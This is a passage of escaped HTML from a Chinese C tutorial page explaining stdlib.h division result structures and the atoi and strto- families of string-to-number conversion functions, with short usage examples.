结构,\u003ccode\u003elldiv()\u003c/code\u003e返回 lldiv_t 结构。\u003c/p\u003e\u003cp\u003e这些结构都包含下面两个字段,\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e quot;  \u003cspan class=\"comment\"\u003e// 商\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e rem;  \u003cspan class=\"comment\"\u003e// 余数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们完整的定义如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e quot, rem;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003cspan class=\"type\"\u003ediv_t\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e quot, rem;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003cspan class=\"type\"\u003eldiv_t\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e quot, rem;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003cspan class=\"type\"\u003elldiv_t\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ediv_t\u003c/span\u003e d = div(\u003cspan class=\"number\"\u003e64\u003c/span\u003e, \u003cspan class=\"number\"\u003e-7\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 64 / -7 = -9\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;64 / -7 = %d\\n\u0026#34;\u003c/span\u003e, d.quot);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 64 % -7 = 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;64 %% -7 = %d\\n\u0026#34;\u003c/span\u003e, d.rem);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"字符串转成数值\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%BD%AC%E6%88%90%E6%95%B0%E5%80%BC\" class=\"headerlink\" title=\"字符串转成数值\"\u003e\u003c/a\u003e字符串转成数值\u003c/h3\u003e\u003ch4 id=\"a-系列函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#a-%E7%B3%BB%E5%88%97%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"a 系列函数\"\u003e\u003c/a\u003ea 系列函数\u003c/h4\u003e\u003cp\u003e\u003ccode\u003estdlib.h\u003c/code\u003e定义了一系列函数,可以将字符串转为数组。\u003c/p\u003e\u003cul\u003e\u003cli\u003eatoi():字符串转成 int 类型。\u003c/li\u003e\u003cli\u003eatof():字符串转成 double 类型。\u003c/li\u003e\u003cli\u003eatol():字符串转成 long int 类型。\u003c/li\u003e\u003cli\u003eatoll():字符串转成 long long int 类型。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eatoi\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* nptr)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003eatof\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* nptr)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eatol\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* nptr)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eatoll\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* nptr)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面函数的参数都是一个字符串指针,字符串开头的空格会被忽略,转换到第一个无效字符处停止。函数名称里面的\u003ccode\u003ea\u003c/code\u003e代表 ASCII,所以\u003ccode\u003eatoi()\u003c/code\u003e的意思是“ASCII to int”。\u003c/p\u003e\u003cp\u003e它们返回转换后的数值,如果字符串无法转换,则返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eatoi(\u003cspan class=\"string\"\u003e\u0026#34;3490\u0026#34;\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3490\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eatof(\u003cspan class=\"string\"\u003e\u0026#34;3.141593\u0026#34;\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3.141593\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果参数是数字开头的字符串,\u003ccode\u003eatoi()\u003c/code\u003e会只转换数字部分,比如\u003ccode\u003eatoi(\u0026#34;42regular\u0026#34;)\u003c/code\u003e会返回整数\u003ccode\u003e42\u003c/code\u003e。如果首字符不是数字,比如“hello world”,则会返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003ch4 id=\"str-系列函数(浮点数转换)\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#str-%E7%B3%BB%E5%88%97%E5%87%BD%E6%95%B0%EF%BC%88%E6%B5%AE%E7%82%B9%E6%95%B0%E8%BD%AC%E6%8D%A2%EF%BC%89\" class=\"headerlink\" title=\"str 系列函数(浮点数转换)\"\u003e\u003c/a\u003estr 系列函数(浮点数转换)\u003c/h4\u003e\u003cp\u003e\u003ccode\u003estdlib.h\u003c/code\u003e还定义了一些更强功能的浮点数转换函数。\u003c/p\u003e\u003cul\u003e\u003cli\u003estrtof():字符串转成 float 类型。\u003c/li\u003e\u003cli\u003estrtod():字符串转成 double 类型。\u003c/li\u003e\u003cli\u003estrtold():字符串转成 long double 类型。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrtof\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e nptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e** \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e endptr\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrtod\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e nptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e** \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e endptr\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrtold\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e nptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e** \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e endptr\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们都接受两个参数,第一个参数是需要转换的字符串,第二个参数是一个指针,指向原始字符串里面无法转换的部分。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003enptr\u003c/code\u003e:待转换的字符串(起首的空白字符会被忽略)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eendprt\u003c/code\u003e:一个指针,指向不能转换部分的第一个字符。如果字符串可以完全转成数值,该指针指向字符串末尾的终止符\u003ccode\u003e\\0\u003c/code\u003e。这个参数如果设为 NULL,就表示不需要处理字符串剩余部分。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们的返回值是已经转换后的数值。如果字符串无法转换,则返回\u003ccode\u003e0\u003c/code\u003e。如果转换结果发生溢出,errno 会被设置为 ERANGE。如果值太大(无论是正数还是负数),函数返回\u003ccode\u003eHUGE_VAL\u003c/code\u003e;如果值太小,函数返回零。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *inp = \u003cspan class=\"string\"\u003e\u0026#34; 123.4567abdc\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *badchar;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e val = strtod(inp, \u0026amp;badchar);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f\\n\u0026#34;\u003c/span\u003e, val); \u003cspan class=\"comment\"\u003e// 123.456700\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, badchar); \u003cspan class=\"comment\"\u003e// abdc\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e字符串可以完全转换的情况下,第二个参数指向\u003ccode\u003e\\0\u003c/code\u003e,因此可以用下面的写法判断是否完全转换。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (*endptr == \u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 完全转换\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 存在无法转换的字符\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果不关心没有转换的部分,则可以将 endptr 设置为 NULL。\u003c/p\u003e\u003cp\u003e这些函数还可以将字符串转换为特殊值 Infinity 和 NaN。如果字符串包含 INF 或 INFINITY(大写或小写皆可),则将转换为 Infinity;如果字符串包含 NAN,则将返回 NaN。\u003c/p\u003e\u003ch4 id=\"str-系列函数(整数转换)\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#str-%E7%B3%BB%E5%88%97%E5%87%BD%E6%95%B0%EF%BC%88%E6%95%B4%E6%95%B0%E8%BD%AC%E6%8D%A2%EF%BC%89\" class=\"headerlink\" title=\"str 系列函数(整数转换)\"\u003e\u003c/a\u003estr 系列函数(整数转换)\u003c/h4\u003e\u003cp\u003estr 系列函数也有整数转换的对应函数。\u003c/p\u003e\u003cul\u003e\u003cli\u003estrtol():字符串转成 long int 类型。\u003c/li\u003e\u003cli\u003estrtoll():字符串转成 long long int 类型。\u003c/li\u003e\u003cli\u003estrtoul():字符串转成 unsigned long int 类型。\u003c/li\u003e\u003cli\u003estrtoull():字符串转成 unsigned long long int 类型。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrtol\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e nptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e** \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e endptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e base\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrtoll\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e nptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e** \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e endptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e base\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrtoul\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan 